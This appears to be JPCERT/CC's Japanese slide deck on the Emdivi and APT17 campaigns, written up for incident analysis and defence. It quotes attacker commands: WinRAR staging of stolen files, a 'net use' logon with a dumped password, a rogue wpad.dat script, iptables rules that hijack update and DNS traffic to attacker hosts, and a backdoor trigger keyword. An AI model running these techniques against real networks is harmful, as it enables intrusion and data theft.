CODE BLUE 2015 日本の組織をターゲットにした攻撃キャンペーンの詳細一般社団法人 JPCERT コーディネーションセンター分析センター朝長秀誠中村祐目次 1 １はじめに２攻撃キャンペーン A ３攻撃キャンペーン B Copyright©2015 JPCERT/CC All rights reserved. 目次 2 １はじめに２攻撃キャンペーン A ３攻撃キャンペーン B Copyright©2015 JPCERT/CC All rights reserved. 自己紹介朝長秀誠 (Shusei Tomonaga) 中村祐 (Yuu Nakamura) 一般社団法人 JPCERT コーディネーションセンター分析センター所属マルウエア分析、フォレンジック 3 Copyright©2015 JPCERT/CC All rights reserved. JPCERT コーディネーションセンター Japan Computer Emergency Response Team Coordination Center 予防予測・捕捉対応 • 脆弱性ハンドリング • 情報収集分析発信 • 対応調整支援早期警戒情報制御システムセキュリティ CSIRT 構築支援国際連携アーティファクト分析 4 Copyright©2015 JPCERT/CC All rights reserved. JPCERT/CCの高度サイバー攻撃対応状況 2015年4月から9月までの対応件数 130組織攻撃キャンペーンA 93 93 組織攻撃キャンペーンB 4 4 5 組織組織 Copyright©2015 JPCERT/CC All rights reserved. 組織今回紹介する攻撃キャンペーン攻撃キャンペーン A • 2012年頃から国内の多数の組織が標的 • Emdivi • CloudyOmega (Symantec) • BLUE TERMITE (Kaspersky) 攻撃キャンペーン B • 2013年頃から国内の一部の組織が標的 • APT17 (FireEye) 6 Copyright©2015 JPCERT/CC All rights reserved. 目次 7 １はじめに２攻撃キャンペーン A ３攻撃キャンペーン B Copyright©2015 JPCERT/CC All rights reserved. 攻撃キャンペーン A の特徴攻撃インフラ（改ざんされたサイト）国内国外 … 被害組織（官公庁、民間企業）標的型メール 8 Copyright©2015 JPCERT/CC All rights reserved. 広範囲へのメール水飲み場型内部侵入テクニックの詳細初期感染活動情報収集感染拡大（横断的侵害） 9 Copyright©2015 JPCERT/CC All rights reserved. 内部侵入テクニックの詳細初期感染活動情報収集感染拡大（横断的侵害） 10 Copyright©2015 JPCERT/CC All rights reserved. 攻撃パターン Timeline of Attack Vector 2014/05 アイコン偽装文書ファイル (脆弱性悪用) 2014/09 2015/01 2015/05 2015/09 医療費、健康保険 2014/11 CVE-2014-7247 2015/07 Drive-By Download CVE-2015-5119 CVE-2015-5122 • アイコン偽装したマルウエアを zip や lzh で圧縮しメールに添付する攻撃が多い • 標的を絞った攻撃は、やり取り型のメールになる場合がある 11 Copyright©2015 JPCERT/CC All rights reserved. 内部侵入テクニックの詳細初期感染活動情報収集感染拡大（横断的侵害） 12 Copyright©2015 JPCERT/CC All rights reserved. 侵入した環境についての調査 MSが提供している正規のツールが利用される OSに標準で付属しているコマンドやプログラム • dir • net • net view • net localgroup administrators • ver • ipconfig • systeminfo • wmic 感染後に送り込まれるActiveDirectoryの管理者用ツール • csvde • dsquery 13 Copyright©2015 JPCERT/CC All rights reserved. dsqueryの使用例特定の個人を狙っている場合に使われることがある 14 Copyright©2015 JPCERT/CC All rights reserved. メールアカウント情報の収集フリーツールの利用（Nirsoft の Mail PassView に類似）外部からメールの受信を試みる新たな攻撃メールのネタになる可能性が（やり取り型）組織から組織へと感染が広がる 15 Copyright©2015 JPCERT/CC All rights reserved. 機密情報、個人情報の収集 16 Copyright©2015 JPCERT/CC All rights reserved. ネットワークドライブの探索 1 NET USEコマンド > net use 新しい接続は記憶されます。ステータスローカル名リモート名ネットワーク名 ------------------------------------------------------------------------------OK T: ¥¥FILESV01¥SECRET Microsoft Windows Network OK U: ¥¥FILESV02¥SECRET Microsoft Windows Network wmicコマンド > wmic logicaldisk get caption,providername,drivetype,volumename Caption DriveType ProviderName VolumeName C: 3 OS D: 3 ボリューム T: 4 ¥¥FILESV01¥SECRET ボリューム U: 4 ¥¥FILESV01¥SECRET ボリューム DriveType = 4 ⇒ ネットワークドライブ 17 Copyright©2015 JPCERT/CC All rights reserved. ネットワークドライブの探索 2 netstat コマンド、nbtstat コマンドの組み合わせ > netstat –an TCP 192.168.xx.xx:49217 192.168.yy.yy:445 ESTABLISHED > nbtstat -a 192.168.yy.yy 名前種類状態 --------------------------------------------FILESV01 <00> 一意登録済 18 Copyright©2015 JPCERT/CC All rights reserved. 445番ポートをキーにしてファイル共有サービスの接続先を探索目的とするデータの探索 dirコマンド > dir ¥¥FILESV01¥SECRET ¥¥FILESV¥SECRET のディレクトリ 2014/07/11 09:16 [DIR] 協力会社管理 2014/09/04 11:49 [DIR] 知財管理 2014/08/01 09:27 [DIR] 拠点情報ネットワークドライブだけでなく感染端末も探索 > dir c:¥users¥hoge¥*.doc* /s /o-d c:¥users¥hoge¥AppData¥Local¥Temp のディレクトリ 2014/07/29 10:19 28,672 20140820.doc 1 個のファイル 28,672 バイト c:¥users¥hoge¥重要情報のディレクトリ 2015/08/29 10:03 1,214 設計資料.doc 19 Copyright©2015 JPCERT/CC All rights reserved. /s : 再帰的に表示 /o-d : 日付順でソート表示圧縮・ダウンロード・痕跡の削除 RARで圧縮 > winrar.exe a –r –ed –v300m –ta20140101 %TEMP%¥a.rar “¥¥FILESV01¥SECRET¥知財管理” -n*.ppt* -n*.doc* -n*.xls* -n*.jtd Adding ¥¥FILESV01¥SECRET¥知財管理¥委員会名簿(2015.05.01).docx OK Adding ¥¥FILESV01¥SECRET¥知財管理¥構成図.ppt OK Adding ¥¥FILESV01¥SECRET¥知財管理¥申請一覧.xlsx OK Adding ¥¥FILESV01¥SECRET¥知財管理¥設計資料.jtd OK ・・ドキュメント類がフォルダごと圧縮される C&Cサーバに送信後、rar ファイルを削除 20 Copyright©2015 JPCERT/CC All rights reserved. 内部侵入テクニックの詳細初期感染活動情報収集感染拡大（横断的侵害） 21 Copyright©2015 JPCERT/CC All rights reserved. 感染拡大に使われる手法感染拡大パターン • 脆弱性の悪用(MS14-068 + MS14-058) • SYSVOL 内のスクリプト調査 • パスワードリスト攻撃 • Builtin Administrator のパスワードを悪用 • ファイルサーバにマルウエアを置く • fake wpad • など 22 Copyright©2015 JPCERT/CC All rights reserved. 脆弱性の悪用(MS14-068 + MS14-058) 1. 権限昇格し(MS14-058) mimikatz でパスワードダンプ 2. MS14-068 の脆弱性を悪用し Domain Admin の権限を取得 PC-A 3. DCに mimikatz をコピーし、admin のパスワードをダンプ 4. マルウエアを PC-B にコピー 5. マルウエアを実行するためのタスクを登録 23 Copyright©2015 JPCERT/CC All rights reserved. Domain Controller 6. タスクによりマルウエアを実行 PC-B SYSVOL 内のスクリプト調査ポイント • logon script などにパスワードが書いてある場合がある攻撃インフラ Domain Controller 6. タスクによりマルウエアが実行される 3. admin のパスワードを探す 2. ダウンロード C2 Server 24 1. ログオンスクリプトをダウンロードし、圧縮 PC-A Copyright©2015 JPCERT/CC All rights reserved. 4. PC-Bにマルウエアをコピー 5. マルウエアを実行するためにタスクを登録 PC-B パスワードリスト攻撃ポイント • 10~30行程度のパスワードリストおよび Domain Admins のユーザリストを用いてログオンを試行 • logon.exe という自作？のツールが使われる 1. Domain Admins のユーザリストを取得 2. logon.exeによるログオン試行 PC-A 25 Copyright©2015 JPCERT/CC All rights reserved. Domain Controller 5. 実行 3. マルウエアをコピー 4. タスク登録 PC-B Builtin Administrator のパスワードが同じポイント • Domain環境の悪用に活路を見出せない場合に有効な手段 • パスワードハッシュもしくはパスワードをダンプする必要がある 1. 権限昇格し (UAC bypass) パスワードダンプ 5. 実行 4. タスク登録 3. マルウエアをコピー PC-A 2. pass the hash or net use net use ¥¥PC-B¥IPC$ [password] /u:Administrator 26 Copyright©2015 JPCERT/CC All rights reserved. PC-B ファイルサーバにマルウエアを置くポイント • 他に手段がない場合に効果的 1. 既存のファイルを、アイコン偽装したマルウエアにすり替えるファイルサーバ PC-A 27 Copyright©2015 JPCERT/CC All rights reserved. 2. ファイルサーバ上のマルウエアを実行 PC-B WPADの悪用 WPAD (Web Proxy Auto-Discovery) —デフォルトで有効 —自動構成スクリプトを   28 DHCPサーバに指定されたURL、もしくは http://wpad/wpad.dat から取得する Copyright©2015 JPCERT/CC All rights reserved. WPADの悪用(step 1: NetBIOS Spoofing) ポイント • WPADが構成されていない環境で有効 • NetBIOS Spoofing 1. Broadcast: Name query NB WPAD wpad.exe PC-A 29 Copyright©2015 JPCERT/CC All rights reserved. 2. Name query response (I am WPAD) PC-B WPADの悪用(step 2: fake WPAD server) wpad.dat (自動構成スクリプト) function FindProxyForURL(url, host) { if (myIpAddress() != “[PC-A addr]”) { return ‘PROXY wpad:8888;DIRECT’; } return ‘DIRECT’; } 3. request http://wpad/wpad.dat 4. response wpad.exe PC-A 30 Copyright©2015 JPCERT/CC All rights reserved. PC-B WPADの悪用(step 3: man in the middle proxy) 攻撃インフラ Web site Attacker’s Web Site 6. drive by download attack wpad.exe 5. 攻撃者が用意したWebサイトへの iframe を挿入 PC-A 31 Copyright©2015 JPCERT/CC All rights reserved. PC-B 感染拡大手法のまとめ手法権限昇格 MS14-068 不要必要パスワードダンプには必要 SYSVOL探索必要不要備考 DCにパッチが当てられていない場合に危険必要不要脆弱なパスワードを設定していると危険 Builtin Administratorの悪用不要必要パスワードが同じであるという前提ファイルサーバの悪用不要不要多くのユーザが開くファイルに偽装された場合に危険 WPAD の悪用不要不要活用場面は限定されるパスワードリスト攻撃 32 AD Copyright©2015 JPCERT/CC All rights reserved. 使用するツール・マルウエアの詳細 33 Copyright©2015 JPCERT/CC All rights reserved. マルウエアの特徴攻撃の進行度合、被害規模によって存在するマルウエアの種別が異なるマルウエア Emdivi (t17) ツール類 usp10jpg Emdivi (t19, t20) BeginX GStatus 概要 HTTP BOT パスワードダンプなど通信頻度が低いダウンローダ t17よりも高機能な HTTP BOT リモートシェルツール通信頻度が低い HTTP BOT ファイル形式攻撃ステップ EXE EXE 等侵入 DLL, data EXE 横断的侵害 EXE EXE,DLL 潜伏？参照: [船越絢香. 標的型攻撃で用いられたマルウエアの特徴と攻撃の影響範囲の関係に関する考察. MWS, 2015] 34 Copyright©2015 JPCERT/CC All rights reserved. ツール類種別概要ファイル名 Quarks PwDump qp.exe, qd.exe, QDump.exeなど MimikatzLite gp.exe Windows credentials Editor wce.exe, ww.exe Mimikatz mz.exe, mimikatz.exe, mimikatz.rar (sekurlsa.dll) MS14-068 (CVE-2014-6324) ms14-068.exe ms14-068.tar.gz MS14-058 (権限昇格) (CVE-2014-4113) 4113.exe UAC bypass パケット転送 UAC bypass ツール msdart.exe, puac.exeなど Htran, proxy対応型Htran htproxy.exeなどメールアカウント窃取 nirsoft の Mail PassViewに類似 CallMail.exe, outl.exe などリストを元にlogon試行 logon.exe WinRARアーカイバ yrar.exe, rar,exe など高機能版 dir コマンド dirasd.exeなど timestamp の変更 timestomp.exe パスワードダンプ Pass-the-hash 脆弱性悪用ユーティリティ 35 Copyright©2015 JPCERT/CC All rights reserved. Emdivi (t17) 基本的な機能を搭載したHTTP BOT この一年間でバージョンアップが繰り返され、実装されているコマンドが増えているコマンド搭載された時期 DOABORT DOWNBG GETFILE LOADDLL SETCMD SUSPEND UPLOAD VERSION 36 GOTO 2015年5月 CLEARLOGS 2015年8月 Copyright©2015 JPCERT/CC All rights reserved. Emdivi (t20) 高機能なEmdivi この一年間で、搭載しているコマンドが増えたり、減ったりしている —１８～４１(JPCERT調べ) 標的組織のプロキシサーバのアドレスがハードコードされている場合がある特定端末でしか動作しない場合がある（端末のSIDによるデータの暗号化） 37 Copyright©2015 JPCERT/CC All rights reserved. usp10jpg 通信頻度の低いダウンローダ 1日1回通信通信する曜日を指定できる Emdiviに感染していない端末に設置される傾向（二次感染） DLLのプリロード攻撃特定のDLLのサーチオーダーを悪用し、悪意のあるDLLをロードさせるアプリケーション 38 Copyright©2015 JPCERT/CC All rights reserved. データを読み込み実行 dwmapi.dll など ***.DAT usp10jpg は発見されにくい Emdivi感染端末 usp10jpg 39 Copyright©2015 JPCERT/CC All rights reserved. 通信頻度が高いため、発見されやすい通信頻度が低いため、発見されずに残ることも攻撃インフラ BeginX リモートシェルツール BeginX Server —特定のポートをリッスンし、コマンドを待ち受ける —UDP版、TCP版ともに存在する BeginX Client —BeginX Server に対してコマンドを送信するクライアント —Emdivi から操作される 40 Copyright©2015 JPCERT/CC All rights reserved. BeginXの使用イメージ攻撃インフラインターネットへ接続できないセグメント Beginx Server Emdiviに感染させても操作できない Beginx Client Emdivi BeginX を経由することで操作できる Emdivi 感染端末 41 Copyright©2015 JPCERT/CC All rights reserved. GStatus Emdiviとは異なるHTTP BOT 多くの被害組織には存在しないが… ボット機能 —ドライブ情報の取得 —任意のシェルコマンド実行 —プロセス一覧 —スクリーン関連機能 42 Copyright©2015 JPCERT/CC All rights reserved. GStatus の Web パネル(管理画面) 43 Copyright©2015 JPCERT/CC All rights reserved. 分析ツール emdivi_string_decryptor.py 44 Copyright©2015 JPCERT/CC All rights reserved. emdivi_string_decryptor.py emdivi_string_decryptor.py • IDAPython • Emdiviの分析に使用 • エンコードされた文字列をデコードする対応バージョン • t17, 19, 20 45 Copyright©2015 JPCERT/CC All rights reserved. emdivi_string_decryptor.py Emdivi encoded strings 46 Copyright©2015 JPCERT/CC All rights reserved. emdivi_string_decryptor.py Difference depending on version string Ver 17 Ver 19 or 20 Ver 20 Encrypt XxTEA encrypt XxTEA decrypt AES decrypt Decrypt XxTEA decrypt XxTEA encrypt AES encrypt Key 47 Scanf( MD5( "%x", MD5(base64(ver)) Inc_Add( + ver17_key MD5(key_string) ) ) ) Copyright©2015 JPCERT/CC All rights reserved. Inc_Add( ver17_key ) emdivi_string_decryptor.py 48 Copyright©2015 JPCERT/CC All rights reserved. emdivi_string_decryptor.py 49 Copyright©2015 JPCERT/CC All rights reserved. DEMO 50 Copyright©2015 JPCERT/CC All rights reserved. 目次 51 １はじめに２攻撃キャンペーン A ３攻撃キャンペーン B Copyright©2015 JPCERT/CC All rights reserved. Attack techniques ドライブバイダウンロード攻撃アップデートハイジャッキングドメイン名ハイジャッキング 52 Copyright©2015 JPCERT/CC All rights reserved. Attack techniques ドライブバイダウンロード攻撃アップデートハイジャッキングドメイン名ハイジャッキング 53 Copyright©2015 JPCERT/CC All rights reserved. ドライブバイダウンロード（水飲み場）攻撃標的組織 0. Webサイト改ざん国内組織の Webサーバ 1. Webアクセス２. リダイレクト攻撃者インフラ４. マルウエア感染 54 ３. マルウエアダウンロード Copyright©2015 JPCERT/CC All rights reserved. アクセス制限 .htaccess Target name IP address 55 Copyright©2015 JPCERT/CC All rights reserved. 0day Exploit CVE-2013-3893 (MS13-080) • 2013年9月頃 • Internet Explorerの脆弱性 CVE-2013-3918 (MS13-090) • 2013年10月頃 • Internet Explorerの脆弱性 CVE-2014-0324 (MS14-012) • 2014年2月頃 • Internet Explorerの脆弱性 56 Copyright©2015 JPCERT/CC All rights reserved. Attack techniques ドライブバイダウンロード攻撃アップデートハイジャッキングドメイン名ハイジャッキング 57 Copyright©2015 JPCERT/CC All rights reserved. アップデートハイジャッキングアップデート情報を改ざんする手法標的組織 0. アップデート情報改ざんアップデートサーバ 1. アップデートリクエスト２. 偽アップデート情報３. ダウンロードリクエスト５. マルウエア感染 58 ４. マルウエアダウンロード Copyright©2015 JPCERT/CC All rights reserved. 偽アップデートサーバ別のアップデートハイジャッキングパターンアップデートサーバのファイルを置き換えない手法標的組織 0. iptablesの設定変更アップデートサーバ 1. アップデート偽アップデートサーバ 59 Copyright©2015 JPCERT/CC All rights reserved. 別のアップデートハイジャッキングパターンアップデートサーバのファイルを置き換えない手法 iptablesの設定で通信を転送する iptables -t nat -A PREROUTING -i eth0 -s aa.bb.cc.dd -p tcp --dport 80 -j DNAT --to-destination ww.xx.yy.zz:53 ポイント • サーバのファイルは改ざんされない • iptablesは保存しない • 標的組織は、正規のアップデートサーバと通信しているようにしか見えない 60 Copyright©2015 JPCERT/CC All rights reserved. Attack techniques ドライブバイダウンロード攻撃アップデートハイジャッキングドメイン名ハイジャッキング 61 Copyright©2015 JPCERT/CC All rights reserved. ドメイン名ハイジャッキング 0.登録情報の変更レジストラ正規サイト DNS サーバレジストリ 1.DNSクエリ標的組織 .com DNSサーバ攻撃インフラ 2.DNSクエリ Web サーバ Web サーバ 4.Webアクセス 62 Copyright©2015 JPCERT/CC All rights reserved. DNS サーバドメイン名ハイジャッキング iptablesで特定クエリのみDNSサーバへ転送 iptables -t nat -A PREROUTING -p udp --dport 53 -m string --from 40 --to 46 --hex-string "|03|AAA" --algo bm -j DNAT -to-destination aa.bb.cc.dd:54 iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT -to ww.xx.yy.zz:53 ポイント • 特定のサブドメインのみ処理 AAA.example.com • その他のDNSクエリは、正規サーバに転送 63 Copyright©2015 JPCERT/CC All rights reserved. 使用するマルウエアの詳細 64 Copyright©2015 JPCERT/CC All rights reserved. マルウエアの特徴 ① 侵入時と潜伏で異なるマルウエアを使用 ② メモリ上にしか存在しないマルウエアがある ③ 標的組織の内部情報が埋め込まれている ④ 署名されている場合がある 65 Copyright©2015 JPCERT/CC All rights reserved. マルウエアの特徴 66 侵入 BlackCoffee McRAT Preshin 潜伏 Hikit Derusbi PlugX Copyright©2015 JPCERT/CC All rights reserved. Agtid マルウエア (侵入) BlackCoffee McRAT Preshin Agtid 基本的な機能が搭載されたHTTPボットコマンド一覧 command 0x184004 0x184008 0x18400c 0x184010 0x184014 0x184018 0x18401c 0x184020 67 info リモートシェル起動シェルコマンド実行ファイル作成ファイル読み込みドライブ情報の取得ディレクトリ作成ファイル検索ファイル削除 Copyright©2015 JPCERT/CC All rights reserved. command info ファイル移動 0x184024 プロセス一覧 0x184028 プロセス停止 0x18402c Sleep 0x184030 0x184034 コマンドインストール Sleep Time設定 0x184038 終了 0x18403c 通信先取得アルゴリズム WebページからC2情報を取得 start: @MICR0S0FT end: C0RP0RATI0N start: lOve yOu 4 eveR end: Reve 4 uOy evOl デコード 68 Copyright©2015 JPCERT/CC All rights reserved. マルウエア (侵入) BlackCoffee McRAT Preshin Agtid プラグインベースのマルウエアコマンド一覧 command number 0 1 3 4 5 6 7 8 9 69 Copyright©2015 JPCERT/CC All rights reserved. info サーバにデータ送信 TickCount値の設定プラグイン登録プラグイン設定領域確保プラグイン設定領域への設定プラグイン作成・実行プラグイン停止設定ファイルの作成 - メモリ上のみに存在するマルウエア CVE-2013-3918 with McRAT ROP Shellcode 省略 Malware 70 Copyright©2015 JPCERT/CC All rights reserved. メモリ上のみに存在するマルウエア CVE-2013-3918 with McRAT rundll32.exeを起動して、インジェクションインジェクションされるのは、 Shellcodeの後半のマルウエアデータこのマルウエアは、ファイルとして保存されない 71 Copyright©2015 JPCERT/CC All rights reserved. マルウエア (侵入) BlackCoffee McRAT Preshin Agtid 機能が限定されたHTTPボットコマンド一覧 command downonly ファイルダウンロード downexec ファイルダウンロード・実行 - 72 info Copyright©2015 JPCERT/CC All rights reserved. シェルコマンド実行 Preshin Controller PHPベースのコントローラ 73 Copyright©2015 JPCERT/CC All rights reserved. Preshin Controller コマンド実行例 74 Copyright©2015 JPCERT/CC All rights reserved. マルウエア (侵入) BlackCoffee McRAT Preshin Agtid 基本的な機能が搭載されたHTTPボットコマンド一覧 command 1 2 3 4 5 7 75 info ディスク情報取得ファイル一覧ファイル表示アップロードファイルファイル作成ファイル読み込み Copyright©2015 JPCERT/CC All rights reserved. command 8 9 10 11 12 13 info ファイル削除ファイル・フォルダ削除アップロードファイルフォルダ作成ファイル移動マルウエア (潜伏) Hikit Derusbi PlugX Rootkit機能を持ったマルウエアコマンド一覧 command file information proxy プロキシ機能の有効化 connect Hikitプロキシへ接続 shell シェルコマンド実行 socks5 exit 76 info ファイル関連操作設定情報の送信 Copyright©2015 JPCERT/CC All rights reserved. プロキシ機能(socks5)の有効化終了 Hikitの設定情報ネットワーク内部のプロキシ情報を持つ識別子ターゲットプロキシ情報 Rootkit設定 77 Copyright©2015 JPCERT/CC All rights reserved. マルウエア (潜伏) Hikit Derusbi PlugX 最近使われることが多いマルウエアコマンド一覧 command 78 info cmd4 サービス、プロセス関連操作 cmd5 シェルコマンド実行 cmd6 Derusbiプロキシへ接続 cmd7 ファイル操作 cmd8 終了 cmd9 ファイル作成、削除 Copyright©2015 JPCERT/CC All rights reserved. Derusbiの設定情報ネットワーク内部のプロキシ情報を持つ識別子プロキシ情報 79 Copyright©2015 JPCERT/CC All rights reserved. 証明書 Identity 80 Type Country System Integrator exe Japan Software Vendor exe Japan Software Vendor exe Korea Automaker exe Korea Heavy Industry jar Korea Software Vendor exe Korea Electronics Industry jar Korea Software Vendor exe Korea Copyright©2015 JPCERT/CC All rights reserved. 攻撃インフラ日本国内正規サイト Backdoor 標的組織攻撃インフラ海外サーバ C2サーバ iptables 81 Copyright©2015 JPCERT/CC All rights reserved. Linux Backdoor mod_rootme • apache module • キーワードを送ることでシェルを起動 mod_rootmeのソースキーワード “Roronoa” 82 Copyright©2015 JPCERT/CC All rights reserved. Linux Backdoor rs_linux • 高機能なLinuxボット Function MyNetstat PortTunnelGet PortTunnel_RemoteClose PortTunnel_Show CreatePortTunnel PortForward PortForward_Show PortForward_Close 83 Copyright©2015 JPCERT/CC All rights reserved. CreateShell GetFileSource MyPs KillByPid NewConnectTo StartPutFile PutFileDest ShellServer Mymkdir Mymkfile Myrmfile Myrmdir ListDir my_reboot ShowHide SwitchHide 分析ツール apt17scan.py 84 Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py apt17scan.py • Volatility Plugin • メモリダンプからマルウエアを検知 • マルウエアの設定情報を抽出 Function • • • • 85 apt17scan derusbiconfig hikitconfig agtidconfig Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py Scan with YARA Search configuration data address Parse configuration data Dump configuration 86 Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py apt17scan マルウエアを検知 87 Agtid Hikit McRAT Preshin BlackCoffee Derusbi Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py derusbiconfig Derusbiの設定情報を表示 88 Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py hikitconfig Hikitの設定情報を表示 89 Copyright©2015 JPCERT/CC All rights reserved. apt17scan.py agtidconfig Agtidの設定情報を表示 90 Copyright©2015 JPCERT/CC All rights reserved. DEMO 91 Copyright©2015 JPCERT/CC All rights reserved. How to download https://github.com/JPCERTCC 92 Copyright©2015 JPCERT/CC All rights reserved. Thank You! 連絡先 [email protected] https://www.jpcert.or.jp インシデント報告 [email protected] https://www.jpcert.or.jp/form/